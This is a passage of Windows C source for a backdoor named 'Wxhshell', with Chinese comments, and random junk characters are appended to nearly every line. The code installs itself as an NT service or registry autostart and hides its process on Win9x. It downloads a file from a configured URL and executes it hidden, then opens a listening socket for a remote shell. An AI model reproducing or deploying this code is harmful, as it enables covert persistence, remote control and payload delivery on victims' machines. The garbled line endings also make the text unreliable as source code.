ULONG UniqueProcessId; ~?)ST?&
ULONG InheritedFromUniqueProcessId;
"Aq-H g
} PROCESS_BASIC_INFORMATION; jFBnP,WQ
%A<|@OSdOa
PROCNTQSIP NtQueryInformationProcess; "Q ~-C|x
lx&ME#~
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7Q9zEd"d
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \WeGO.i-
LMvsYc~]q
HANDLE hProcess; yXx}'=&!0
PROCESS_BASIC_INFORMATION pbi; Qm\VZ<6/5
i`1QR@11
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sy|{}NkA!
if(NULL == hInst ) return 0; <v)Ai;l,
!mX 2
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _ADK8a6%)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pPdOwK#
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~\z\f}w
jci'q=Vpu
if (!NtQueryInformationProcess) return 0; "3i=kvdz
S?5z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YbrsXp"
if(!hProcess) return 0; qeyBZ8BG
xv{iWJcs
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m_z1|zM}o
R3$K[Lv,
CloseHandle(hProcess); YrR}55V,
Uv06f+P(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e_BOzN~c
if(hProcess==NULL) return 0; >#RXYDd
[yF4_UoF
HMODULE hMod; ega< {t
char procName[255]; :hp=>^$Y
unsigned long cbNeeded; sGCV um}
WBA0!
g98
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F:CqB|
In)#`E` g.
CloseHandle(hProcess); P==rY5+s`
gn?
~y`
if(strstr(procName,"services")) return 1; // 以服务启动 UEJX0=
}>w;(R
return 0; // 注册表启动 0FHX
} ba 3_55]
$e! i4pM
// 主模块 l\yFx
int StartWxhshell(LPSTR lpCmdLine) $siiG|)C1
{ B=/*8,u
SOCKET wsl; 8yH) 8:w
BOOL val=TRUE; bYEq`kjzc
int port=0; }cll? 2
struct sockaddr_in door; 5s>$
zX!zG<<K
if(wscfg.ws_autoins) Install(); A}b<Lg
otXB:a
port=atoi(lpCmdLine); (s,*soAN
/R< Q~G|\
if(port<=0) port=wscfg.ws_port; ipEsR/O
*fq=["O
WSADATA data; Nd&u*&S
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hIw<gb4J%
j0k"iv
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >Z?3dM~ [
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AO9F.A<T5
door.sin_family = AF_INET; X.,1SYG[
door.sin_addr.s_addr = inet_addr("127.0.0.1"); L!-@dz
door.sin_port = htons(port); 4b8!LzKS
,2)LH'Xx
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EM*YN=S o
closesocket(wsl); Ftm%@S ?
return 1; GCx]VN3&
} ()vxTTa
v!ULErs
if(listen(wsl,2) == INVALID_SOCKET) { v.+-)RLQg
closesocket(wsl); 74%,v|
return 1;
aF$HF;-y
} Z8Fbx+~"
Wxhshell(wsl); S5'BXE,
WSACleanup(); #`/KF_a3\>
C CX\"-C
return 0; }abM:O
"Y
Ku_`F2Q
} <Ja>
,k/*f+t
// 以NT服务方式启动 p~28?lYv
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xX
{ 4.7ePbk[E
DWORD status = 0; S"w$#"EJA
DWORD specificError = 0xfffffff; kzGD*
RaAi9b[/S
serviceStatus.dwServiceType = SERVICE_WIN32; C} +w<
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5>7ECe*
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (?&X<=|"
serviceStatus.dwWin32ExitCode = 0; u(?
serviceStatus.dwServiceSpecificExitCode = 0; J;+iW*E:
serviceStatus.dwCheckPoint = 0; L
'342(
serviceStatus.dwWaitHint = 0; 3a_S-&?X
jjkiic+tDN
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :a}hd^;[%8
if (hServiceStatusHandle==0) return; qU#Gz7/
q[l},nw
status = GetLastError(); 7,_N9Q]rB
if (status!=NO_ERROR) AMvM H
{ TC3xrE:U<m
serviceStatus.dwCurrentState = SERVICE_STOPPED; H;}V`}c<`
serviceStatus.dwCheckPoint = 0; K%>uSS?
serviceStatus.dwWaitHint = 0; 9xC,i
)
serviceStatus.dwWin32ExitCode = status; ZYrXav<
serviceStatus.dwServiceSpecificExitCode = specificError; `w]=xe
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &M~*w~w`
return; jGd{*4{3+
} F`U%xn,
uA:|#mO
serviceStatus.dwCurrentState = SERVICE_RUNNING; iU{F\>
serviceStatus.dwCheckPoint = 0; c0u!V+V%
serviceStatus.dwWaitHint = 0; f>5{SoM
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $\$5::}r
} <O>r e3s
9>qR6k?
// 处理NT服务事件,比如:启动、停止 waW2$9O
VOID WINAPI NTServiceHandler(DWORD fdwControl) A5+vz u^
{ z:|4S@9
switch(fdwControl) .wx;!9
{ zO2Z\E'%.
case SERVICE_CONTROL_STOP: Zo22se0)
serviceStatus.dwWin32ExitCode = 0; nvxftbfE^D
serviceStatus.dwCurrentState = SERVICE_STOPPED; N9Yc\?_NU_
serviceStatus.dwCheckPoint = 0; Tul_/` An
serviceStatus.dwWaitHint = 0; |~CN]N
{ ;58l_ue
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s6w</
} RT8xU;
return; yEy}
PCJ&
case SERVICE_CONTROL_PAUSE: Sq}hx
serviceStatus.dwCurrentState = SERVICE_PAUSED; >"B95$x5
break; &2MW.,e7s
case SERVICE_CONTROL_CONTINUE: (J][(=s;a
serviceStatus.dwCurrentState = SERVICE_RUNNING; wnP#.[,V
break; <Jo_f&&{
case SERVICE_CONTROL_INTERROGATE: c{6!}0Q4
break; bJ]g2C7`36
}; +o!".Hp
SetServiceStatus(hServiceStatusHandle, &serviceStatus); q.t>:`
} 7Xm pq&g
uOEy}&fH
// 标准应用程序主函数 IBC
P6[
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9n$GeRO
{ %?y ?rt
&
p"ks8"
// 获取操作系统版本 M/ 0!B_(R
OsIsNt=GetOsVer(); 'u{m37ZJ
GetModuleFileName(NULL,ExeFile,MAX_PATH); iQZgs@
Lc f =)GL
// 从命令行安装 1[a;2xA~
if(strpbrk(lpCmdLine,"iI")) Install(); 0ho+Y@8
+%=Ao6/#
// 下载执行文件 hJ>{`Tw
if(wscfg.ws_downexe) { L=Fm:O'#2
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T c4N\Cy
WinExec(wscfg.ws_filenam,SW_HIDE); h2zuPgz,
} ,g#=pdX;
1 +O- g
if(!OsIsNt) { jnYFA[Ab
// 如果时win9x,隐藏进程并且设置为注册表启动 hUcG3IOBf
HideProc(); ot]E\g+!
StartWxhshell(lpCmdLine); A{Z=[]r1`E
} /,f*IdB
else O$E3ry+?
if(StartFromService()) ^UZEdR;
// 以服务方式启动 KO<Yc`Fs
StartServiceCtrlDispatcher(DispatchTable); +g<2t,
else cnXIE{9M
// 普通方式启动 Fa,a)JY>
StartWxhshell(lpCmdLine); 9Y- Sqk+
jmmm0,#D
return 0; bg*4Z?[dd
}